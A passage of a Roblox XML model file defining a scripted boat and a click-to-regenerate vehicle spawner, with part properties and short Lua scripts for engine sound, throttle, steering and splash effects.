										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>4</Y>
										<Z>30</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX3121">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX3122">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">BG</string>
										<float name="P">3000</float>
										<CoordinateFrame name="cframe">
											<X>109</X>
											<Y>3.4000001</Y>
											<Z>18</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>0</X>
											<Y>400000</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyVelocity" referent="RBX3123">
									<Properties>
										<bool name="Archivable">true</bool>
										<string name="Name">BV</string>
										<float name="P">1250</float>
										<Vector3 name="maxForce">
											<X>1000000</X>
											<Y>0</Y>
											<Z>1000000</Z>
										</Vector3>
										<Vector3 name="velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyPosition" referent="RBX3124">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">1250</float>
										<string name="Name">Hover</string>
										<float name="P">10000</float>
										<Vector3 name="maxForce">
											<X>0</X>
											<Y>INF</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="position">
											<X>0</X>
											<Y>1</Y>
											<Z>0</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Sound" referent="RBX3125">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Looped">true</bool>
										<string name="Name">Engine</string>
										<float name="Pitch">6</float>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
										<float name="Volume">1</float>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX3126">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">EngineScript</string>
										<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3127">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1003</int>
									<CoordinateFrame name="CFrame">
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										<Y>0.5</Y>
										<Z>118</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
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										<R11>1</R11>
										<R12>-0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>-0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
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									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
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									<Vector3 name="RotVelocity">
										<X>2.8049714e-020</X>
										<Y>7.45343168e-018</Y>
										<Z>2.8049714e-020</Z>
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									<float name="TopParamA">0</float>
									<float name="TopParamB">0</float>
									<token name="TopSurface">6</token>
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									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
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										<Z>4.52189532e-017</Z>
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										<Y>1</Y>
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								</Properties>
								<Item class="CylinderMesh" referent="RBX3128">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
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											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
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										<Vector3 name="VertexColor">
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											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX3129">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">Stabilizer</string>
										<float name="P">200</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
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											<R02>0</R02>
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											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>8.99999949e+009</X>
											<Y>0</Y>
											<Z>8.99999949e+009</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3130">
								<Properties>
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									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1003</int>
									<CoordinateFrame name="CFrame">
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									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>2.8049714e-020</X>
										<Y>7.60490995e-018</Y>
										<Z>2.8049714e-020</Z>
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									<token name="TopSurface">6</token>
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									<Vector3 name="Velocity">
										<X>4.6738795e-017</X>
										<Y>0.120892927</Y>
										<Z>4.6738795e-017</Z>
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									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX3131">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
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											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
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											<Y>1</Y>
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									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX3132">
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										<bool name="Archivable">true</bool>
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										<string name="Name">Stabilizer</string>
										<float name="P">200</float>
										<CoordinateFrame name="cframe">
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											<Y>0</Y>
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										<Vector3 name="maxTorque">
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											<Y>0</Y>
											<Z>8.99999949e+009</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3133">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
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									<token name="BottomSurface">0</token>
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									<int name="BrickColor">1003</int>
									<CoordinateFrame name="CFrame">
										<X>-1587.5</X>
										<Y>8.5</Y>
										<Z>123.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>-1</R12>
										<R20>0</R20>
										<R21>-1</R21>
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									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
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									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
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									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
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									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
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									<Vector3 name="RotVelocity">
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										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
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										<Y>0</Y>
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							<Item class="Part" referent="RBX3136">
								<Properties>
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										<R12>-1</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
								<Item class="BlockMesh" referent="RBX3187">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX3188">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">21</int>
									<CoordinateFrame name="CFrame">
										<X>-1612</X>
										<Y>3</Y>
										<Z>118</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>-0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>-1</R12>
										<R20>0</R20>
										<R21>1</R21>
										<R22>-0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">1</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Part</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>4</X>
										<Y>12</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX3189">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">0</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1.5</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX3190">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">BoatScript</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
								</Properties>
								<Item class="Script" referent="RBX3191">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">WaterScript</string>
										<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
									</Properties>
								</Item>
							</Item>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX3192">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1603</X>
					<Y>3.99999976</Y>
					<Z>62</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>24</X>
					<Y>6</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX3193">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3194">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1619</X>
						<Y>7</Y>
						<Z>72</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX3195">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX3196">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3197">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX3198">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX3199">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Assult2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX3200">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Bodykit</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Seat" referent="RBX3201">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1599</X>
								<Y>5.20000029</Y>
								<Z>69</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>-0</R02>
								<R10>-0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
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								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX3239">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1611.5</X>
								<Y>12</Y>
								<Z>78</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Wire</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>10</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX3240">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.100000001</X>
									<Y>1</Y>
									<Z>0.100000001</Z>
								</Vector3>
